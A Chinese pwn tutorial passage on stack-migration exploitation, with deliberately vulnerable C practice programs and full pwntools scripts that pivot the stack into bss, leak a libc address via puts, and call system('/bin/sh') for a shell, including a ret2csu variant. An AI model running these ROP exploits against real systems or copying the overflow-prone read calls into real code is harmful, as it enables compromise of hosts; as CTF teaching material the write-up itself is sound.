说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm
钉子户的迁徙之路(二):https://bbs.kanxue.com/thread-281650.htm

7.puts 战神再出征——左右横跳之二(question_8)

前面这么多的题目让我们有明显的感触,puts 函数就是一个毒瘤。

  1. puts 函数会抬高 0x80 左右的栈帧。这对对布栈选取位置有更高的要求,它会让你布置好的数据全部实效。
  2. puts函数执行后会修改寄存器。其中最重要的是将rdx赋值为0,那么即使我们使用call read流程,仍然无法持续输入。

那么如果想用上面的左右横跳,就必须在高地址布置栈帧,在低地址布置栈帧则必定会被puts栈帧修改覆盖,题目如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[8] ;
    read(0,b,0x20);
    puts("byebye!");
    return 0;
}
 
int main(){
    init_func();
    dofunc();
    return 0;
}
//gcc migration_13.c -fno-stack-protector -no-pie -o migration_13_x64

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
 
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_13_x64'
    io = process(pwnfile)
    # io = remote('', )
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    context.binary = pwnfile
     
    deadbeef =0xdeadbeef
    read_got = elf.got["read"]
    read_sym = elf.symbols["read"]
    puts_sym = elf.symbols['puts']
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
    rep_func = elf.symbols['dofunc']
     
     
    leave_ret = 0x4011D6
    call_read_addr = 0x4011aF
    ret = 0x4011D7
    pop_rdi_ret = 0x40125b
     
    target1_rbp = elf.bss()+0x400
    addr_tmp = target1_rbp + 0x100
    next_rbp_addr = target1_rbp + 0x300
    bin_sh_addr = next_rbp_addr + 0x200
    padding2rbp = 0x8
    nead_padding2rbp = 0x10
    call_read_len = 0x20
    stack_over_flow = call_read_len - padding2rbp
              
     
    # 一、迁移          
    rbp_1 = target1_rbp
    payload1 = flat(['a' * padding2rbp , rbp_1 , call_read_addr])
    #pause()
    sleep(0.5)
    delimiter = 'byebye!\n'
    s(payload1)
         
    # 二、布栈
    payload = flat([pop_rdi_ret , leak_func_got , puts_sym , rep_func])
    for i in range(len(payload)//8):
        '''          
        +----------+          +----------+
        |          |          |          |
        +----------+          +----------+
        | deadbeef |          | deadbeef |
        +----------+          +----------+
rbp_1 ->|   rbp_2  |  rbp_2 ->| rbp_1+0x8|
        +----------+          +----------+
        | call read|          | call read|
        +----------+          +----------+
        | gadgat_1 |          |          |
        +----------+          +----------+
        |          |          |          |
        +----------+          +----------+
        |          |          |          |
        +----------+          +----------+
        '''
        rbp_2 = addr_tmp
        payload2 = flat([ deadbeef , rbp_2 , call_read_addr , payload[len(payload)-(8*i)-8:len(payload)-(8*i)] ])
        #pause()
        sleep(0.5)
        sa(delimiter,payload2)
         
        '''  
        +----------+          +----------+               +----------+          +----------+
        |          |          |          |               |          |          |          | 
        +----------+          +----------+               +----------+          +----------+ 
        | deadbeef |          | deadbeef |               | deadbeef |          | deadbeef | 
        +----------+          +----------+               +----------+          +----------+ 
rbp_1 ->|   rbp_2  |  rbp_2 ->| rbp_1+0x8|       rbp_1 ->|  rbp_2   |  rbp_2 ->| rbp_1-0x8| 
        +----------+          +----------+               +----------+          +----------+
        | call read|          | call read|   =======>    | call read|          | call read| 
        +----------+          +----------+               +----------+          +----------+ 
        | gadgat_1 |          |          |               | gadgat_1 |          |          | 
        +----------+          +----------+               +----------+          +----------+ 
        |          |          |          |               |          |          |          | 
        +----------+          +----------+               +----------+          +----------+ 
        |          |          |          |               |          |          |          | 
        +----------+          +----------+               +----------+          +----------+ 
        '''          
        payload3 = flat([ deadbeef ,rbp_1 - 8*(i+1) , call_read_addr ])
        #pause()
        sleep(0.5)
        sa(delimiter,payload3)
 
         
    #duchao_pwn_script.dbg(io)           
    payload4  =  flat([ ret , ret , ret , ret ]) 
    sa(delimiter,payload4)
     
    ru('byebye!\n')
    #pause()
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))  # 不同接受代码接受数量不同
    print(hex(leak_func_addr))
 
    # 以下代码为查找system及/bin/sh的地址
    system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
    print(hex(system_addr))
    print(hex(binsh_addr))
     
     
     
    # 三、换个姿势再来一次
    rbp_1 = next_rbp_addr
    payload1 = flat(['a' * padding2rbp , rbp_1 , call_read_addr])
    #pause()
    sleep(0.5)
    delimiter = 'byebye!\n'
    s(payload1)
     
    payload = flat([pop_rdi_ret , binsh_addr , ret , system_addr])
    for i in range(len(payload)//8):
        '''          
        +----------+          +----------+
        |          |          |          |
        +----------+          +----------+
        | gadgat_1 |          | deadbeef |
        +----------+          +----------+
rbp_1 ->|   rbp_2  |  rbp_2 ->| rbp_1+0x8|
        +----------+          +----------+
        | call read|          | call read|
        +----------+          +----------+
        |          |          |          |
        +----------+          +----------+
        |          |          |          |
        +----------+          +----------+
        |          |          |          |
        +----------+          +----------+
        '''
        rbp_2 = addr_tmp
        payload2 = flat([ deadbeef , rbp_2 , call_read_addr , payload[len(payload)-(8*i)-8:len(payload)-(8*i)] ])
        #pause()
        sleep(0.5)
        sa(delimiter,payload2)
         
        '''  
        +----------+          +----------+               +----------+          +----------+
        |          |          |          |               |          |          |          | 
        +----------+          +----------+               +----------+          +----------+ 
        | gadgat_1 |          | deadbeef |               | gadgat_1 |          | deadbeef | 
        +----------+          +----------+               +----------+          +----------+ 
rbp_1 ->|   rbp_2  |  rbp_2 ->| rbp_1+0x8|       rbp_1 ->| gadgat_2 |  rbp_2 ->| rbp_1+0x8| 
        +----------+          +----------+               +----------+          +----------+
        | call read|          | call read|   =======>    |  rbp_2   |          | call read| 
        +----------+          +----------+               +----------+          +----------+ 
        |          |          |          |               | call read|          |          | 
        +----------+          +----------+               +----------+          +----------+ 
        |          |          |          |               |          |          |          | 
        +----------+          +----------+               +----------+          +----------+ 
        |          |          |          |               |          |          |          | 
        +----------+          +----------+               +----------+          +----------+ 
        '''          
        payload3 = flat([ deadbeef ,rbp_1 - 8*(i+1) , call_read_addr ])
        #pause()
        sleep(0.5)
        sa(delimiter,payload3)
 
         
    #duchao_pwn_script.dbg(io)           
    payload4  =  flat([ ret , ret , ret , ret ]) 
    sa(delimiter,payload4)
        
    itr()

8.左右横跳之蛇形前进(question_9)

我们把左右横跳之二再加大一些难度,如果仍是8+8的模式,该如何处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[8] ;
    read(0,b,0x18);
    puts("byebye!");
    return 0;
}
 
int main(){
    init_func();
    dofunc();
    return 0;
}
//gcc migration_13.c -fno-stack-protector -no-pie -o migration_13_x64

要解决这个必须,必须巧妙利用call read的各种流程。call read在程序中汇编如下。

  1. 第0步和第2步指定写入位置
  2. 第1步指定写入长度
  3. 第3步指定写入的文件描述符
  4. 第4步调用read

在使用call调用函数时,会在栈中压入返回地址,如果调用的函数是输入函数且输入的地址能够覆写压入的地址,就能够在返到我写入的地址处。如下图。需要注意:此时gdb无法n步过call read,必须s进入。

call read的汇编中,调用第3处或第4处位置时,可以不修改写入的位置,既可以对原来的位置重复写入,在栈确定的情况下,结合call read移形换影可以实现在高地址逐步布置栈帧。为了确保rdi为0,我选取第3处为利用点。流程如下图。

说明:c_r_0为call read0处,c_r_3为call read3处。

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
 
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_14_v2_x64'
    io = process(pwnfile)
    # io = remote('', )
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    libcfile = '/lib/x86_64-linux-gnu/libc.so.6'
    context.binary = pwnfile
     
    deadbeef =0xdeadbeef
    read_got = elf.got["read"]
    read_sym = elf.symbols["read"]
    puts_sym = elf.symbols['puts']
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
    rep_func = elf.symbols['dofunc']
    csu_front_addr = 0x401238
     
    leave_ret = 0x4011D6
    call_read_addr_0 = 0x4011aF  # lea  rax, [rbp+buf]
    call_read_addr_1 = call_read_addr_0 + 4  # set rdx
    call_read_addr_2 = call_read_addr_1 + 5  # set rsi = rax
    call_read_addr_3 = call_read_addr_2 + 3  # set rdi = 0
    call_read_addr_4 = call_read_addr_3 + 5  # call read
    call_read_addr = call_read_addr_0
    ret = 0x4011D7
    pop_rdi_ret = 0x40125b
     
    target1_rbp = elf.bss() + 0x500
    addr_tmp = target1_rbp + 0x100
    next_rbp_addr = target1_rbp + 0x300
    bin_sh_addr = next_rbp_addr + 0x200
    padding2rbp = 0x40
    nead_padding2rbp = 0x10
    call_read_len = 0x20
    stack_over_flow = call_read_len - padding2rbp
              
     
    # 一、迁移          
    rbp_1 = target1_rbp
    payload = flat(['a' * padding2rbp , rbp_1 , call_read_addr])
    #pause()
    sleep(0.5)
    delimiter = 'byebye!\n'
    s(payload)
    ru(delimiter)
     
    # duchao_pwn_script.dbg(io)
     
    call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': next_rbp_addr, 'arg3': 0x30}
    payload_ret2csu = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = next_rbp_addr ,gcc_ver='new' )
     
    payload_final = flat([pop_rdi_ret , leak_func_got , puts_sym ]) + payload_ret2csu + p64(leave_ret)
    len_payload_final =  len(payload_final)
     
     
    # call read 移形换影布置栈帧
    for i in range(len_payload_final//8):       
        # 第一步
        '''          
        +----------+
        |          |
        +----------+
        | deadbeef |
        +----------+
rbp_1 ->|   rbp_1  |
        +----------+
        |  c_r_0   |
        +----------+
        |          |
        +----------+                    
        '''
        sleep(0.5)
        payload = flat(['a' * padding2rbp, rbp_1 - 8*i , call_read_addr])  
        s(payload)
 
        # 因为调 call_read 所以会有一个 delimiter
        ru(delimiter)  
         
        # 第二步
        '''
        +----------+               +----------+
        |          |               |          |
        +----------+               +----------+
        |          |   rbp_1-0x10->|          |
        +----------+               +----------+
        | deadbeef |               |  c_r_3   |
        +----------+               +----------+
rbp_1 ->|   rbp_1  |       rbp_1 ->|rbp_1-0x10|
        +----------+               +----------+
        |  c_r_0   |   =======>    | leave_ret|
        +----------+               +----------+
        |          |               |          |
        +----------+               +----------+
        '''
        sleep(0.5)
        payload = flat(['a' * (padding2rbp - 8), call_read_addr_3 , rbp_1 - 0x10 - 0x8*i , leave_ret])  
        s(payload)
         
                
        # 第三步
        '''
        +----------+               +----------+                 +----------+
        |          |               |          |                 |          |
        +----------+               +----------+                 +----------+    
        |          |   rbp_1-0x10->|          |     rbp_1-0x10->|          |    
        +----------+               +----------+                 +----------+    
        | deadbeef |               |  c_r_3   |                 | rep_func |    
        +----------+               +----------+                 +----------+    
rbp_1 ->|   rbp_1  |       rbp_1 ->|rbp_1-0x10|                 | deadbeef |    
        +----------+               +----------+                 +----------+    
        |  c_r_0   |   =======>    | leave_ret|     =======>    | gadget_1 |    
        +----------+               +----------+                 +----------+    
        |          |               |          |                 |          |    
        +----------+               +----------+                 +----------+    
        '''
        # duchao_pwn_script.dbg(io)
        sleep(0.5)
        payload = flat(['a' * (padding2rbp - 8), rep_func , deadbeef , payload_final[len_payload_final - (8 * i) - 8 : len_payload_final - (8 * i)]])  
        s(payload)
         
         
         
    duchao_pwn_script.dbg(io)
    payload = flat(['a' * padding2rbp , rbp_1 - 0x8 * (len_payload_final//8) , ret])
    s(payload)
    ru(delimiter)
     
     
    # 以下代码为查找system及/bin/sh的地址
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))
    print(hex(leak_func_addr))  
    system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr ,path = libcfile)
    print(hex(system_addr))
    print(hex(binsh_addr))
     
    # duchao_pwn_script.dbg(io)
    sleep(0.5)
    payload = flat([next_rbp_addr ,pop_rdi_ret , binsh_addr , ret, system_addr])
    s(payload)
     
    itr()

9.再看非栈迁移(question_10)

我前面说过,迁移到非栈上,1次输入是在非栈上布置栈帧,另1次迁移至非栈上,两次顺序可以互换。我题目中都可是以 data+stack 这种顺序进行输入的,但如果将顺序变为 stack+data 是否有变化。我们既然有了左右横跳之法,那能不能使用呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x20
char migration[LEN];   //逐渐改变参数长度
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x8] = {};
    puts("input stack:");
    read(0,b,0x10);   //逐渐改变溢出长度
    read(0,migration,LEN);
    puts("byebye");
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}
//gcc migration_12.c -fno-stack-protector -no-pie -o migration_12_x64

模仿左右横跳,不停利用call read布置栈帧

攻击脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
 
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_12_x64'
    io = process(pwnfile)
    # io = remote('', )
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    context.binary = pwnfile
     
    deadbeef =0xdeadbeef
    read_got = elf.got["read"]
    read_sym = elf.symbols["read"]
    puts_sym = elf.symbols['puts']
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
    rep_func = elf.symbols['dofunc']
    migration_addr = elf.symbols['migration']
     
    leave_ret = 0x401200
    call_read_buf_addr = 0x4011C3
    call_read_migration_addr = 0x4011D9
    ret = 0x401201
    pop_rdi_ret = 0x4012Ab
    pop_rbp_ret = 0x401129
     
    target1_rbp = elf.bss()+0x300
    addr_tmp = target1_rbp + 0x100
    next_rbp_addr = target1_rbp + 0x500
    bin_sh_addr = next_rbp_addr + 0x200
    padding2rbp = 0x8
    nead_padding2rbp = 0x10
    call_read_len = 0x20
    stack_over_flow = call_read_len - padding2rbp
              
     
    # 一、迁移   
    rbp_1 = target1_rbp
    payload_buf = flat(['a' * padding2rbp , migration_addr ])
    #pause()
    sleep(0.5)
    sa('input stack:\n',payload_buf)  
    payload_migration = flat([rbp_1 , call_read_buf_addr ])
    sleep(0.5)
    s(payload_migration)
    ru('byebye\n')
    #duchao_pwn_script.dbg(io) 
     
    # 二、布栈
    payload = flat([pop_rdi_ret , leak_func_got , puts_sym , rep_func , leave_ret])
    for i in range(len(payload)//8):
        '''          
                 +----------+          +----------+
   migration  -> |  rbp_1   |          |          |
                 +----------+          +----------+
                 | read buf |          | gadgat_1 |
                 +----------+          +----------+
                 |          |  rbp_1 ->|          |
                 +----------+          +----------+
                 |          |          |          |
                 +----------+          +----------+
                 |          |          |          |
                 +----------+          +----------+
                 |          |          |          |
                 +----------+          +----------+
                 |          |          |          |
                 +----------+          +----------+
        '''
        payload1 = flat([ payload[8*i:8*i+8] ])
        #pause()
        sleep(0.5)
        s(payload1)
        payload2 = flat([ deadbeef , pop_rbp_ret , migration_addr , call_read_migration_addr ])
        #pause()
        sleep(0.5)
        s(payload2)
        payload3 = flat([ rbp_1 + 8*(i+1) , call_read_buf_addr , deadbeef , leave_ret ])
        #pause()
        sleep(0.5)
        s(payload3)
         
    payload1 = flat([ deadbeef ,deadbeef ])
    #pause()
    sleep(0.5)
    s(payload1)
     
    payload2 = flat([ deadbeef , pop_rbp_ret , rbp_1 - 0x10 , leave_ret ])
    #pause()
    sleep(0.5)
    s(payload2)
    #duchao_pwn_script.dbg(io)            
     
    ru('\n')
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))  # 不同接受代码接受数量不同
    print(hex(leak_func_addr))
 
    # 以下代码为查找system及/bin/sh的地址
    system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
    print(hex(system_addr))
    print(hex(binsh_addr))
     
        
    # 三、换个姿势再来一次
    #duchao_pwn_script.dbg(io)
    rbp_1 = next_rbp_addr
    payload_buf = flat(['a' * padding2rbp , migration_addr ])
    #pause()
    sleep(0.5)
    sa('input stack:\n',payload_buf)  
    payload_migration = flat([rbp_1 , call_read_buf_addr ])
    sleep(0.5)
    #pause()
    s(payload_migration)
    ru('byebye\n')
    #duchao_pwn_script.dbg(io)
     
    payload = flat([pop_rdi_ret , binsh_addr , ret , system_addr])
    for i in range(len(payload)//8):
        '''          
        +----------+          +----------+
        |          |          |          |
        +----------+          +----------+
        | deadbeef |          | deadbeef |
        +----------+          +----------+
rbp_1 ->|   rbp_2  |  rbp_2 ->| rbp_1+0x8|
        +----------+          +----------+
        | call read|          | call read|
        +----------+          +----------+
        | gadgat_1 |          |          |
        +----------+          +----------+
        |          |          |          |
        +----------+          +----------+
        |          |          |          |
        +----------+          +----------+
        '''
        payload1 = flat([ payload[8*i:8*i+8] ])
        #pause()
        sleep(0.5)
        s(payload1)
        payload2 = flat([ deadbeef , pop_rbp_ret , migration_addr , call_read_migration_addr ])
        #pause()
        sleep(0.5)
        s(payload2)
        payload3 = flat([ rbp_1 + 8*(i+1) , call_read_buf_addr , deadbeef , leave_ret ])
        #pause()
        sleep(0.5)
        s(payload3)
        
    #duchao_pwn_script.dbg(io)           
    payload1 = flat([ deadbeef ,deadbeef ])
    #pause()
    sleep(0.5)
    s(payload1)   
    payload2 = flat([ deadbeef , pop_rbp_ret , rbp_1 - 0x10 , leave_ret ])
    #pause()
    sleep(0.5)
    s(payload2)
        
    itr()

其他.read移形换影之进阶 —— ret2csu

利用 call read 移形换影将 ret2csu 将 减少为 0x40 字节

migration 0x48 b 0x10 -> ret2csu

migration 0x38 b 0x10 -> call read migration